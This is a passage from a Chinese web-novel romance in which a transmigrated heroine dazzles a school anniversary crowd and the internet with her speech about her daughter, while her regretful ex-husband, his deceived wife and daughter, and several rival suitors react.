就在这时,台下突然有观众大声喊道:“顾星延,你特么赶紧把手撒开!” 有一个人出声之后,所有人都不由得看向了顾星延牵着姜以柔的那只手。他们两眼直冒火光,突然觉得这两个人牵手的这一幕,怎么看怎么碍眼。 当然,碍眼的人是大明星顾星延。 突然接收到无数敌意的顾星延:“……” 他有些无奈地扯了扯眉梢,但却并不觉得生气,相反还有点高兴。 他宁愿所有人都觉得是他配不上姜以柔,也不想再听到一丝一毫关于她的非议。 顾星延含笑望着身侧亭亭玉立的女人,那双深邃的桃花眸中溢着前所未有的温柔与骄傲,在灯光的映衬下近乎炫目,完全是不加掩饰的偏爱。 顾星延心想,他也确实该放手了。 因为,接下来是独属于她的高光时刻。 他只需要在台下安静而专注地仰视她就好。 于是,顾星延后退两步,十分克制地松开了手,转身离开前,他笑着对姜以柔说道:“加油。” 姜以柔轻轻颔首,回了他一个温软的笑意。 然后,她转头面对着台下黑压压的观众和一双双灼灼的目光,表情泰然自若,不见丝毫慌乱,竟和见惯了大场面的顾星延一般镇定。 姜以柔好整以暇地扫视过台下的观众,她目光所及之处,所有人都一副激动无比的模样,还不自觉挺直了腰杆。 对他们来说,她温柔的注视就如同神女的垂怜,但凡有幸被她的目光扫过,竟会有种浑身战栗的感觉。 很多人似乎兴奋得想要大叫,但要不就自己死死忍住了,要不就被身旁的人制裁了。他们屏住呼吸,眼神灼热,翘首以盼等着姜以柔的演讲,生怕发出动静惊扰了她,更生怕错过一个字。 终于,在万众瞩目下,姜以柔微笑着开口道:“各位老师,家长和同学们,很荣幸今天能站在这里……以姜渔母亲的身份。” 说着,姜以柔视线轻移,往姜渔早先提过的位置上看了过去,果不其然看到了双眼亮晶晶的姜渔。 而姜渔的旁边,就是同样紧紧盯着她的方大少爷。 姜以柔冲着他们微微一笑。 台下,不少人因为这个足以颠倒众生的笑容而骚动起来,他们顺着姜以柔的目光看去,想搞清楚她在对谁笑,心里满是羡慕嫉妒恨。 姜渔感受着四面八方的羡慕目光,甚至连旁边的方镜麒看她的眼神也满是不爽,虽说被这么多人看着,她难免有些不自在,但更多的,却是一股油然而生的骄傲。 姜渔不由得挺了挺胸膛,从进入圣维尔学院起,她从未有一刻如此自信过。 旁边,方镜麒忍不住问道:“喂,她刚才去哪儿了?为什么我们去待客室时没有找到她?” 不知为何,方镜麒莫名很是在意这件事,总觉得自己好像错过了什么。 姜渔皱起眉头对他“嘘”了一声,心里觉得他非常没有眼色。 有什么事儿不能等姜以柔讲完话再聊吗? 这时,旁边又有人不甘寂寞地来打扰她。 一个叫林静韵的女同学猛地抱住姜渔的手臂,她张了张嘴,话还没说出口,竟然先飙出了眼泪。 姜渔:“……” 姜渔有些惊悚地看着她,“你……你怎么了?” 林静韵眼睛眨也不眨地看着台上的姜以柔,面上浮现出狂热之色,欣喜道:“小渔,谢谢你帮我转交衣服,你看到了吗?你妈妈真的穿我做的裙子了!” 姜以柔身上那条绿裙子,正是出自林静韵之手。 她妈妈是国际知名设计师,她从小受到熏陶,对服装设计很感兴趣,小小年纪就获得过国际设计大奖了。 从之前在家长会上见过姜以柔起,林静韵灵感大爆发,设计出了这条裙子,并心心念念想让她的灵感缪斯穿上这条裙子,没想到美梦竟在今天实现了! 林静韵开心地到处跟人炫耀,逮住一个人就说:“你看到姜阿姨穿的裙子了吗?我设计的!” “你知道吗?姜阿姨穿我设计的裙子了!” 众人只想听姜以柔讲话,懒得听她絮叨,纷纷避开了她。 而台上,姜以柔说了些好听的官方客套话,但众人竟然丝毫不觉得无聊,盯着她的脸津津有味地听着。 人长得好看,说什么都好听。 更何况姜以柔已经美到了一定境界,她哪怕一个字都不说,众人也愿意就这么一直看着她。 姜以柔的演讲并不长,比起其他领导的长篇大论,她的演讲甚至可以说是简短。只是在最后的时候,她出于自己的私心,讲了些计划之外的内容。 她看了眼双眼亮晶晶的姜渔,这个便宜闺女初见时像只冷漠的小刺猬,后来她才发现,这孩子的内心其实很柔软。 姜以柔的眼神不自觉柔和下来,轻声道:“最后,我想跟大家聊一聊我的女儿,姜渔。” 姜以柔凝视着便宜女儿,一字一句地说道:“她是我的骄傲。” 此话一出,台下的姜渔心里狠狠一颤,放在膝盖上的手紧紧捏成了拳。 姜以柔笑着继续道:“我骄傲的,不仅是她优异的成绩,更是她以‘特优生’身份踏入这里时,那份不卑不亢的坚韧。也许她的起点与旁人不同,但她用汗水和实力证明——真正的价值,从不取决于出身。” 最后,姜以柔遥遥地冲便宜闺女眨了眨眼睛,温柔地笑道:“小渔,勇敢地前进吧,妈妈永远是你最坚实的后盾。” 说完,她便在空前热烈的掌声和欢呼中,优雅地鞠了一躬。 姜渔怔怔地看着她,浑身僵硬得跟石头一样,许久都没有反应。 突然间,她猛地低下头,像只鸵鸟似的把脑袋藏了起来,很快,她的校服裤子就被一滴滴泪洇湿了。 旁边的方镜麒瞥她一眼,非常直男地翻了个白眼,小声嘀咕道:“没出息。” 姜渔深深地埋着脑袋,却掩不住剧烈激荡的内心,连身体都在微微颤抖。 舞台上,姜以柔微笑着冲台下挥了挥手,提着裙摆便要下台。 众人一见她要离开,不约而同地发出一阵遗憾的叹息,台下瞬间骚动起来,甚至有人大喊道: “不要走!” 姜以柔当然不会为此而驻足,就在她即将离开时,突然有人满脸激动地冲上前,竟直接要往舞台上爬,他一边冲一边嘴里还念叨着:“姜小姐,我对你一见钟情,我愿意为你付出一切,请你给我个机会吧……” 姜以柔被他吓了一跳,好在校方早有准备,周围有许多保安,甚至还有方隐年安排的保镖。很快就有人上前制服了这个突然发癫的男人。 那个男人已经被带走,这只是个无足轻重的小插曲,却为姜以柔的美貌更蒙上了一层神秘的色彩。 这种让人一见倾心、甘愿付出所有的魅力,恐怕所谓的祸国妖妃也不过如此吧! 姜以柔趁机在保镖的护送下迅速下了台,舞台上再也不见她曼妙的身影。 随着姜以柔的优雅退场,台下的掌声却久久未曾停歇,其热烈程度,比起之前顾星延在台上时都有过之而无不及。 众人纷纷伸长了脖子,想追逐着太阳的向日葵一样,目光也紧紧追随着姜以柔,直到再也看不见那道迷人的身影,才怅然若失地叹了口气。 至此,校庆圆满结束。 最后一位出场的家长代表姜以柔,给圣维尔学院的五十周年校庆,画上了一个最为亮眼的句号,让这一次校庆变得空前精彩。 后台处,校方的工作人员都久久回不过神来,显然这个发展也在他们的意料之外。 这时,那名先前帮姜以柔说过话的小姑娘骄傲地扬起下颌,得意地说道:“我就说不该换掉姜小姐吧!没人比她更适合当家长代表了!” 其他人渐渐从那份令人震撼的美貌中回过神来,故意冲着之前要求换掉姜以柔的人们揶揄道:“现在知道为什么不能换下姜小姐了吧?” 那位曾强烈要求换人的陈哥仍旧一脸恍惚,如坠梦中。等他回过神来的时候,脸上顿时浮现出浓浓的愧疚,他讪讪道:“知道了,我知道了。” 他摸了摸自己的脸,有种被打脸的火辣辣的感觉,但他心里却很兴奋。 这辈子能见一次仙女似的人物,值了! 圣维尔学院里,所有参与了校庆的人都异常兴奋,犹还沉浸在那神赐般的美貌中,回味不已。 与此同时,姜以柔的美貌也已经在网络上引发了大震动。 全网都因此而沸腾了。《 》 100-110 第101章 当圣维尔学院的官方直播间, 如实地将姜以柔的美貌直播出去时,全网都因为那张脸而沸腾了。 直播间里瞬间热闹起来,比顾星延出场的时候更加疯狂。 一开始那些唱衰和辱骂的弹幕都消失了, 在短暂的沉默后,迎来了极致的爆发。 但这一次弹幕的风向完完全全地变了。那些原本对姜以柔极尽批判与嘲讽的人,已然被她的美貌俘获, 不知天地为何物了。 【等等, 我不是来看高中生娃妈的吗?请问这位貌若天仙的大美女是谁?!】 【她好美好温柔,我也好想叫她妈妈……】 【卧槽, 这是凡人能拥有的美貌吗?我怕不是见到神女了吧?!】 【对不起,我为我之前的大放厥词而道歉。就凭这张脸,别说她有女儿了, 就是有孙女了, 我也完全可以!!!】 【第一次见有人能把顾星延比下去……顾星延可是神颜啊!这位姐是神颜中的神颜吧……】 【顾星延你小子,藏得挺深啊,我就知道凭你单身二十多年的奇高眼光,你喜欢的人绝对不简单!】 【顾星延十年老粉, 但我现在有点嫉妒他了是怎么回事?】 【顾星延, 你别喜欢她了,因为从现在起,我也要开始喜欢她了!不想跟人撞crush谢谢。】 【顾星延, 放手吧,你值得更好的……而不是最好的!!!】 …… 网络上沸反盈天, 全是被姜以柔迷得晕头转向的人。但他们也只能透过屏幕去欣赏这份美貌了, 远不如身在校庆现场的人受到的冲击力大。 姜以柔不知道自己引动了如此大的波澜,演讲完毕后,她顿觉轻松不少, 提着裙子快步走下了舞台。 这时,她的脑海里突然响起666激动的声音:“宿主!恭喜!恶毒女配姜渔的黑化值已经降到10%了!我们胜利在望啊啊啊!” 姜以柔闻言微微一怔,随口笑道:“是吗,挺好。” 系统666突然问道:“宿主,你刚才演讲时说的话,就是为女儿感到骄傲什么的……是发自肺腑的,还是纯粹为了削减姜渔的黑化值啊?” 姜以柔挑了挑眉,轻笑道:“你猜。” 系统666沉默片刻,斩钉截铁地说道:“我猜你肯定是真心的!” 姜以柔意味深长地笑了笑,并没有回答。 系统666撒泼打滚地问了好几遍,姜以柔都没有透露自己的心绪,最后,666只能无奈地转到另一个话题上:“宿主,女配剩下的这10%的黑化值,你打算怎么消除啊?” 姜以柔沉思片刻,说道:“剩下的10%……估计得靠姜渔的便宜爹了。” “你是说林松齐?” “嗯。” 系统666疑惑地追问道:“那你具体打算怎么做呢?” 姜以柔漫不经心地敷衍道:“别急,还得等一个契机。” 当666追问是什么契机时,姜以柔又笑着不说话了。 * 林松齐此刻就坐在台下,而且恐怕是所有人之中,情绪最为激动的那个人。 从姜以柔上台开始,林松齐的目光就再也没能离开过她。 他痴痴地看着她大方得体的言谈举止,看着她美丽动人的容颜,看着周围无数人为她而倾倒。 一时间,林松齐竟有些恍惚。 这……真的是他记忆里那个“姜以柔”吗? 真的是曾经跟他甜蜜过,却又被他无情抛弃的乡下女孩吗? 可是……这样一个女人,一个美得能令任何男人心折的女人,他当初怎么会忍心抛弃她呢? 强烈的疑惑和不甘撕扯着林松齐,几乎让他精神崩溃。浓烈的悔意铺天盖地地席卷而来,将他整个人无情吞没,几乎让他喘不过气来。 林松齐不由得捂住胸口,大口大口地喘着粗气。但他很快就意识到这副状态太过奇怪,便强行压下了所有激荡的心绪,尽量表现得平静而自然,但他的眼神死死钉在姜以柔身上,半刻都移不开。 当演讲的姜以柔提及女儿姜渔时,看着她眸中温柔的笑意,林松齐更是不由得看痴了。 对了,他们还有一个女儿,一个非常优秀的女儿,那个叫姜渔的孩子。 如果……如果当初他没有离开,那么现在他们一家三口,该有多么幸福啊? 一想到方才顾星延牵着她的手,以及许多人对她的爱慕与仰望,林松齐便觉得心里有把火在燃烧。 是熊熊的妒火,却蕴着无能为力的颓然。 因为,他已经没有资格去妒忌了,是他亲手斩断了两人之间的关系。 林松齐痛苦地捂住了额头。 从记起姜以柔身份的那一刻起,他心里除了不敢置信的震惊,便是压得他几乎喘不过气的后悔与不甘。 她明明本该是他的,可他竟然亲手将她推了出去…… 十几年前的他到底在想什么?! 林松齐忍不住痛苦地轻轻躬身,用力抓紧了头发,那力道中几乎带着自我惩罚的意味。 可是,他的痛苦没有宣泄的出口,只能在这具躯壳里不断淤积,那种沉甸甸的痛苦几乎要让他爆炸了。 就在这时,台上的姜以柔已经在谢幕了,眼看着她即将消失在他的眼前,林松齐终于再也忍不住内心的冲动了。 理智崩塌,他蹭的站起身来,眼睛紧紧盯着那道窈窕的身影。 林松齐匆忙地对身旁的妻子说道:“我有点事先走了,你们不用等我。” 说完,林松齐便转身快步离开了。 这个过程中,他的目光始终紧紧钉在姜以柔的身上,没有分给身旁的妻女一丝一毫的注意力,所以他也就没能发现,乐婉儿望向他的眼神里,满是不敢置信的悲伤。 林松齐头也不回地离开了,留下乐婉儿和乐柠一动不动地坐在原处,僵硬得仿佛两尊雕像。 乐婉儿直勾勾地盯着丈夫的背影,直到他的身影消失不见,也迟迟没有收回视线,她的表情一片空白,满是茫然与无措,仿佛被整个世界抛弃了一般。 半晌,旁边传来乐柠幽幽的嗓音:“妈妈,你现在懂我的意思了吗?” 乐柠神情紧绷,转头定定地凝视着自己的妈妈,那双大大的杏眼中满是哀伤。 而乐婉儿浑身僵硬,满脸的恍惚与不敢置信,完全不敢跟女儿对视。 乐柠咬了咬牙关,猛地抓住她的手臂,加重语气再次呼喊道:“妈妈!” 乐婉儿依旧扭过头不去看女儿,她回应的声音却有些发颤,带着强装镇定的意味:“我不懂你的意思。” 乐柠有些无奈地扯了扯唇角,露出一个苦涩的笑容。 她深吸一口气,眼神变得凌厉起来,再开口时,话语如刀锋一般刺人。 “妈妈,刚才演讲的那位姜以柔女士,就是姜渔的亲生母亲,也就是……爸爸以前的妻子。” 话落,乐柠清晰地感觉到乐婉儿开始微微发抖。她有些不忍,但为了打破母亲的幻想,只能把话说得更绝一点。 乐柠咬着牙,一字一句地说道:“妈妈,姜阿姨有多漂亮,你也亲眼看见了吧?” 闻言,乐婉儿脸色一变。她回想起刚才那个女人的容貌,指甲不由得深深掐进了掌心,可那份刺痛远比不上她心里的痛苦。 她看见了,看得清清楚楚。 丈夫口中那个乡下来的、包办婚姻、没有一丝感情的前妻……竟然长成那副模样? 她怎么可能长成那副模样?! 乐婉儿呼吸急促起来,脸色阵红阵白,一颗心仿佛油煎一般难熬。 一想到她之前言语间对这位前妻的蔑视,说她是个上不了台面的村姑,林松齐抛弃她也很正常……乐婉儿简直无地自容! 偏偏她的亲生女儿还要添一把火,乐柠冷静地说道:“妈妈,你除了家世比姜阿姨好之外,还有哪一点能比得上她吗?” 乐婉儿浑身一颤,大受打击地红了眼眶,她猛地转头瞪向女儿,几乎想要骂她,怎么能说出这么伤人的话?她可是她亲妈! 然而,看着女儿那双冷静的眼睛,乐婉儿突然就像是漏了气的皮球一般,失去了全身的力气。 她颓然垂下肩膀,两眼失神地喃喃道:“是,我比不上她……我哪里都比不上她!” 看着妈妈这副失魂落魄的模样,乐柠心中一痛,差点想要抱住她安慰。 但是,想到妈妈对林松齐的信任和爱慕,乐柠又硬生生忍住了—— 她一定要让妈妈认清现实! 乐柠定了定心神,近乎咄咄逼人地质问道:“如果你和姜阿姨同时站在林松齐面前,你觉得他会选谁?” 乐柠轻笑一声,眼神寂寥,无情戳破了她的所有幻想,说道:“刚才林松齐的反应,你也都亲眼看见了吧?你觉得……他像是自己所说的,完全不喜欢他的前妻吗?” 乐婉儿神情怔怔,不期然回想起刚才林松齐的表现。 姜以柔在台上演讲时,林松齐就双眼直勾勾地盯着舞台,目光从未移开过半分。 乐婉儿印象中的林松齐,一直是温柔的、沉稳的,可那个时候,林松齐的眼睛里满是她从未见过的狂热,任谁都看得出他死死压抑着的激荡心情。 更别提姜以柔下台之后,林松齐那副魂儿都丢了的模样,最后他更是起身匆匆离开了…… 一切都不言而喻。 思及至此,乐婉儿不由得死死咬住下唇,眼里瞬间溢上水光,盛满了心碎—— 林松齐那番表现,怎么可能是对前妻没有感情?! 他对前妻的爱根本藏不住,都溢出来了! 就在这时,乐柠给了她最后的重重一击—— “所以,妈妈,请你好好想一想。”乐柠嗓音低缓,一字一句地说道,“十几年前,林松齐为什么要抛下姜阿姨这样貌美的妻子,而跟你在一起呢?” “他说是因为对你一见钟情……” 乐柠紧紧盯着乐婉儿,突然发出了一句灵魂拷问,“妈妈,你知道一见钟情的前提是看脸吧?” 所以说,林松齐在已经拥有过姜阿姨这样貌美惊人的妻子后,还会对乐婉儿“一见钟情”吗? 当然,乐婉儿是很漂亮的,完全拥有让人一见钟情的资本,可她的对手是姜以柔…… 那样一个美得如梦似幻,简直不应该出现在人间的女人。 林松齐口中的“一见钟情”,瞬间成了笑话。 乐柠僵硬地扯了扯唇角,低低地嗤笑一声,道:“妈妈,你现在还信他的鬼话吗?” 乐柠的话太残忍也太犀利,简直是将乐婉儿的尊严狠狠踩在脚底。 “啊——”乐婉儿抱住脑袋,忍不住崩溃地尖叫出声。 自卑、羞恼、自我怀疑和厌弃……无数负面情绪席卷了她,几乎将她整个人都压垮。 好在周围人声沸腾,大家都沉浸于姜以柔的美貌中,正热烈讨论着,没有人注意到她们这里的异常。 乐柠心疼地红了眼眶,她猛地抱住妈妈的肩膀,将她按进自己怀中,哽咽着说道:“妈妈,承认吧,他当初就是为了钱才跟你在一起!” “他根本就不爱你!”乐柠大声吼道,想要打碎她的一切幻想。 最后一层遮羞布被残忍揭开,乐婉儿抱着脑袋,浑身剧烈地颤抖起来。 她呼吸急促,涕泪横流,脑海中有什么根深蒂固的信念彻底崩塌了。 她一直坚信林松齐是爱他的,他们之间的爱情被多少人羡慕,可这一切怎么会是假的呢? 十几年前,当她知道林松齐为了她抛妻弃女时,她对那未曾谋面的母女没有丝毫愧疚之意,甚至还觉得沾沾自喜—— 她自得于自己的美貌和魅力,能让一个男人为他不顾一切。 可如今,在她亲眼见过姜以柔之后,她终于懂了先前女儿欲言又止之下的深意。 林松齐根本就不爱她……她就是个彻头彻尾的笑话! 她竟然被林松齐骗了十几年……现在,她的父母辛苦打拼下的公司,已经大半都被林松齐掌握在手中了。 乐婉儿眼神呆滞,心底一片冰凉。 曾经她自得于抢到了一个绝顶好男人,可事实证明,她是在引狼入室。 或许……这就是她的报应吧。 “妈妈……妈妈!”乐柠担心地看着她,用力摇晃着她的肩膀,试图唤回她的神智。 乐婉儿缓缓转过头,对上了女儿乐柠的眼睛。 这个还没成年的女孩展现出了超出年龄的沉稳,原本活泼天真的她好像一夜之间就长大了。 乐柠握着妈妈的肩膀,沉声说道:“妈妈,别担心,不管怎么样,我都会陪着你的。” 乐婉儿流下两行清泪,她一把抱住女儿,失声痛哭起来,“柠柠,对不起……对不起……” 兀自哭了一会儿后,乐婉儿蹭的站起身来。 她满脸愤怒和痛苦,转身就要往外走,“我要去找他问清楚……” 乐柠赶紧一把拉住她的手臂,皱眉冲她摇了摇头,“妈妈,冷静一点,这件事我们要从长计议,千万不能打草惊蛇……” 在乐柠的百般劝说下,乐婉儿终于失魂落魄地坐回了原处。 她两眼怔怔地发着呆,满脸泪痕,面上满是悲伤与痛苦。 她心里很乱、很痛,她也不知道现在该怎么办。她很想抓着丈夫问个清楚,但却有点害怕他的答案。 乐婉儿微微垂下眼眸,竟觉得有些无法面对女儿。她想起了之前对女儿的怨怼和不理解,更觉得惭愧。 乐婉儿深吸一口气,努力保持着面上的平静。 她决定先听女儿的话,隐忍不发。 * 另一边,林松齐完全不知道乐家母女已经看透了他的真面目,他快步穿梭在人群间,面带焦急地四处搜寻着什么。 后来,经过多方打听和各种疏通关系,林松齐终于终于见到了那令他魂牵梦萦的人。 她正匆匆走向地下停车场,大概要马上离开圣维尔学院。 “等一下!”林松齐想也不想,脱口而出地喊道。 前方那道身影微微一顿,随即回身朝他看来。 当看清林松齐的脸时,姜以柔惊讶地挑了挑眉,望向他的眸中带着丝玩味。 她想了想,竟然真的驻足回身,微笑地等待着他。 林松齐激动得几乎浑身颤抖,快步朝她走去,他紧紧盯着姜以柔的脸,期间甚至差点被绊了一跤。 终于,林松齐站定在姜以柔面前,他紧张得呼吸都有些发颤,就这么死死盯着她。 姜以柔微笑着回望他,美丽的面上不见丝毫波澜。 两人就这样安静地对视着,谁都没有先说话,气氛一时间竟有些古怪。 第102章 圣维尔学院一处僻静的小道上。 林松齐眼眸微垂, 死死盯着这张足以颠倒众生的脸。 他正在脑海里疯狂翻找,试图找出两人曾经相爱的点点滴滴。 明明多年前他们相爱过,有过很甜蜜的回忆, 他们甚至小小年纪偷尝禁果,从而有了姜渔这个爱的结晶…… 可为什么……所有那些尘封的记忆里,“姜以柔”的脸都是模糊的, 完全不像现在这般美得惊人。 如果不是“姜以柔”这个极其特殊的名字, 以及他跟姜渔的亲子鉴定,恐怕林松齐都不敢相信, 自己曾经拥有过如此美丽的女人。 林松齐不由得扶住额头,有些痛苦地皱紧了眉头。他只觉得无比痛苦,也无比茫然。 姜以柔嘴角噙着一丝笑意, 但睨向林松齐的眼神却透着冷意, 她也不说话,只静静地看着他,好整以暇地欣赏他痛苦纠结的丑态。 良久,林松齐终于稳住了心神。他深吸一口气, 抬起头目光灼灼地望向姜以柔。 不管怎么样, 姜渔就是他的女儿,所以……他们合该是一家人。 她应该是属于他的! 林松齐紧紧盯着她,喉结滚了滚, 哑声开口道:“以柔……你还记得我吗?” 姜以柔眨了眨眼睛,故作疑惑地问道:“你是……乐柠的爸爸?” 她抿唇一笑, 将装傻贯彻到底:“我当然还记得你了, 林先生。” 林松齐怔怔地看着她,眼底浮现出痛苦之色。 果然,她完全不记得他们曾经的过往了…… 林松齐看着她娇媚动人的脸, 不由得上前一步,满脑子都是靠近她的疯狂念头。 林松齐之前想的是,等他彻底掌控了乐家的财富,再无任何后顾之忧时,再跟姜以柔相认。 可现在……他的理智在她面前是那样的不堪一击。 林松齐冲动之下,直接开口道:“以柔,我是林维刚啊!你……你不记得我了吗?” 姜以柔面色一滞,显然没想到林松齐竟然就这么把事情挑明了。 她就不怕自己这个前妻对他心怀怨恨,故意去跟他现在的老婆告密吗? 还是说……他已经对于乐家已经十拿九稳,不必再顾忌什么了? 姜以柔随机应变,立刻做出一副惊讶的模样,捂着嘴震惊道:“维刚……竟然是你?!” 从她口中听到自己以前的名字,林松齐竟然蓦地红了眼眶,“是我!” 说着,他便想要去抓姜以柔的手。 姜以柔当然不想他碰自己,轻巧地一退,避开了他的手。 姜以柔仰头望天,做出一副失落的模样,道:“维刚,你都已经有妻子和女儿了,我们还是保持距离吧。” 林松齐一时间哑口无言,面上浮现出浓浓的愧色。 他深吸一口气,认真地说道:“以柔,你等我……很快我们就能一家团圆了。” 闻言,姜以柔眸光微动,顺势询问道:“你打算怎么做?” 林松齐却只笑了笑,深情地望着她说道:“你只要等我的好消息就行了。” 他具体的计划,却是一点儿都没透露。 正当林松齐想继续说些什么的时候,下一秒却脸色一变。 一个高大英俊的男人缓步走近,皮鞋踏在地面上发出有节奏的轻响,却仿佛踩在人的心头一般,让林松齐心里一跳。 他直勾勾地盯着逼近的男人,垂在身侧的手不由得紧紧捏成了拳头。 方隐年。 方隐年走近之后,很自然地抬手揽住了姜以柔的腰。 姜以柔挑了挑眉梢,其实心里还在生他的气,但终究没在林松齐面前表现出来,她柔顺地靠近了方隐年的怀中。 方隐年淡淡地瞥了林松齐一眼,凤眸微凝,闪过一丝冷意。 他知道这个人,林松齐,姜以柔的……前夫。 一个死了十几年的前夫,不该再出现在她的面前。 方隐年凤眸微眯,面无表情地睨向林松齐,那平淡的眼神中却蕴着令人胆寒的压迫感。 “林先生,请问你有事吗?”方隐年的嗓音很平静,却让林松齐瞬间绷紧了身体。 林松齐定定地看着他们,两人亲密的姿态刺痛了他的眼睛。 林松齐几乎将手心掐出血痕,激烈的内心挣扎后,终究是理智占据了上风。 他深吸一口气,勉强笑了笑,说道:“没事,就是偶然遇到姜小姐了,来打声招呼。” 林松齐不由得看向姜以柔,对方也回了他一个浅笑。 两人心照不宣地略过了刚才的话题,仿佛什么事都没发生过。 方隐年扯了扯眉梢,无声地嗤笑了下,淡声开口道:“林先生还是赶紧回去吧,你的夫人该等急了。” 林松齐闻言眼瞳微颤,下意识地看向姜以柔,但这个美丽的女人只淡淡微笑着,不见丝毫波澜。 林松齐抿了抿唇,强压下心底汹涌的情绪,故作镇定地笑了笑:“那我就先告辞了。” 说完,他最后深深地看了眼姜以柔,转身离开了,那脚步都有些虚浮。 转过身的一瞬间,林松齐面上的假笑瞬间消失了。 他死死咬紧牙关,眸光阴鸷。 早晚有一天,他要把她抢回来……她本就该是属于他的! 方隐年盯着他的背影看了一会儿,很快就平静地移开了视线。 废物一个,不足为惧。 林松齐的身影彻底消失后,姜以柔便一手肘杵在方隐年的腰上,毫不客气地推开了他。 她也不跟方隐年说话,转身便走。 方隐年皱了皱眉,一把抓住她的手臂,低声道:“我送你回去。” “用不着。”姜以柔冷着脸拒绝了。 方隐年实在有点蹬鼻子上脸了,她觉得应该让他清醒一下,找准自己的定位。 不要试图掌控她、管教她。 见她不配合,方隐年面色微沉,耐心解释道:“现在外面太乱了,很多人都盯着你,你自己回去不安全。” 像是在印证方隐年的话一般,身后再次传来一道呼喊声。 “姜小姐!请等一下!” 姜以柔回头一看,又见到了一个熟悉的人——顾星延的经纪人张哥。 张哥气喘吁吁地跑上前,望着姜以柔的目光中满是灼热,他迫不及待地开口道:“姜小姐,请你再考虑一下签约的事情吧,我已经跟公司谈好了,可以给你无比优厚的条约……” 然而下一秒,有人淡声打断了他的喋喋不休。 “她不会签约。”方隐年居高临下地睨着他,用不容置喙地语气说道。 张哥之前眼里全是姜以柔,这时才注意到旁边的方隐年。 当认出方隐年的身份时,张哥明显一惊。他视线下落,在看到方隐年亲密地揽着姜以柔的腰时,张哥终于颓丧地垂下了肩膀。 唉,原来连方总也是姜小姐的裙下之臣,那看来她是不会缺钱的,他给出的这点好处,恐怕她根本不会放在眼里。 姜以柔却皱眉瞥了方隐年一眼,面上带着明显的不悦。 她确实没打算签约,但方隐年有什么资格替她做决定? 这种感觉让姜以柔非常不爽。 于是,她眨了眨眼睛,竟一反常态地对张哥笑道:“张先生,我们可以先交换个联系方式,万一我以后改变主意了呢。” 张哥愣了一瞬,随机面上浮现出狂喜之色。 哪怕是顶着方隐年冰冷的目光,他也咬着牙坚持住了,果断拿出手机,“好!” 交换过联系方式后,张哥露出一个满足的笑容。他殷勤地说道:“姜小姐,你放心,哪怕你不打算签约,我也会帮你留意一些好机会的,比如拍广告、走秀之类的……又轻松钱又多的工作,我都给你留着!” 姜以柔轻轻一笑,从善如流道:“好啊,那就谢谢你了。” 方隐年沉默地看着这一切,他深吸一口气,终究没再说什么,只是那双狭长的凤眸分外沉冷。 姜以柔又简单跟张哥聊了几句,便打算离开了,她笑着说道:“张先生,我先走了,麻烦替我跟星延道个别。” 张哥下意识地说道:“星延马上就过来了,要不……” 你等一会儿,亲自跟他道别? 然而,张哥想说的话没说完,就全都咽回了肚子里。 无他,因为那位方总正冷冷地盯着他,那双微微眯起的凤眸极有压迫感,让他一瞬间冷汗都冒了出来。 张哥讪讪一笑,识趣地后退一步,殷勤地冲姜以柔点点头,算是告别,一个字都不敢多说。 张哥默默地盯着这一男一女,他们看起来是那样相配。他不由得想到了顾星延对姜以柔的痴心一片…… “唉。”张哥不由得轻轻叹了口气,很是为自家艺人感到担忧。 姜以柔刚要转身离开,远远的突然传来一道熟悉的声音: “以柔!” 听到这道磁性的嗓音,姜以柔还没来得及反应,方隐年的面色已经骤然沉了下来。 他有什么资格叫她“以柔”? 方隐年垂在身侧的手缓缓捏成拳,手背上青筋暴起。 姜以柔循声望去,果然看到了匆匆赶来的顾星延。 顾星延小跑着来到她身边,先是不动声色地瞥了眼高大冷峻的方隐年,然后便专注地看着姜以柔,多情的桃花眼里盛满了温柔。 “以柔,我送你回去吧。”顾星延温声道。 不等姜以柔回答,方隐年已经冷冷开口:“我会送她回去,不劳你费心。” 顾星延笑容微敛,眸中飞快地掠过一丝冷意,他耸了耸肩,对姜以柔露出一个有些无奈的苦笑,说道:“以柔,我只是担心你的安全而已……” 姜以柔笑着安慰道:“我当然知道。” “这次就算了,下次吧。”姜以柔微微眯起一双潋滟的眸子,笑得意味深长道,“下次有机会,一定让你送我回家。” 顾星延闻言微微一怔,眸中瞬间燃起灼灼亮光。 他听出来了,姜以柔对他抛出的隐晦的橄榄枝。 顾星延强压下心里的激动,冲她灿然一笑:“我随时有时间。” 能让一个行程爆满的大明星说出“随时有时间”这种鬼话,足以看出顾星延的决心。 顾星延漫不经心地瞥了眼面色极度难看的方隐年,有些得意地勾了勾唇角。 看来,这男人也没什么本事嘛,根本留不住以柔。 那就别怪他趁虚而入了。 姜以柔笑着跟顾星延挥手道别,跟方隐年一起坐车离开了。 顾星延站在原地,定定地看着她的身影,直到再也看不见,才转身离去。 目送他离开后,方隐年深吸一口气,强压下心底的愤怒,揽住姜以柔的肩膀,轻声道:“我送你回家。” 姜以柔却一把推开他,似笑非笑地盯着他,眸光有些冷淡:“方隐年,你有点儿过分了。” 方隐年动作一滞,眸光沉沉地盯着她。 姜以柔抬起一根手指,轻轻点了点方隐年的胸膛,笑着说道:“记住,我们之间没什么关系,所以,不要再试图插手我的事。” 方隐年深吸一口气,起伏的胸膛顶住了那根纤细的手指。 方隐年朝她逼近一步,垂眸盯着她,低声道:“连情人关系都不是吗?” 姜以柔挑了挑眉梢,淡声道:“顶多也就是这个关系了。” “所以,不要让别人知道我们做了,尤其是谢凛和你侄子。”姜以柔面色平静地说道。 姜以柔觉得,以谢凛和方镜麒的气性,如果知道她和方隐年真的发生了关系,等待她的将会是无休止的麻烦。 她目前有更重要的事要做——比如消除姜渔的黑化值,解决林松齐,可没空给这三个男人断官司。 所以,瞒着是最轻松的做法。 闻言,方隐年面色微沉,凤眸里燃着冰冷的怒意。 然而,迎着姜以柔那双含笑却无情的眼睛,他终究妥协般闭了闭眼睛,心底一片冰凉。 “好。” * 顾星延离开后,本以为这件事就告一段落了,然而事实证明,狗仔是无处不在的。 尤其是有顾星延在的地方,就有无数双眼睛盯着。 半个小时后,一组照片再次刷爆了网络。 照片上有两男一女,其中的女人正是刚在大众面前刷了脸的姜以柔,而男人则是顾星延以及另一个高大英俊的男人。 这张照片的重点在于,姜以柔和那个英俊的男人看起来很亲密,那男人的手揽在姜以柔的腰间。 可是……姜以柔不是在跟顾星延谈恋爱吗?顾星延连他家的传家宝绿翡翠项链都送给她了! 这这这……难道顾星延被绿了?! 此事瞬间在网上引发了一大波讨论,众人开始纷纷猜测他们之间的关系。 姜以柔是出轨了吗? 顾星延和那个男人,谁是新欢谁是旧爱呢? 三人见面后说了些什么呢?有两男争一女的把戏吗…… 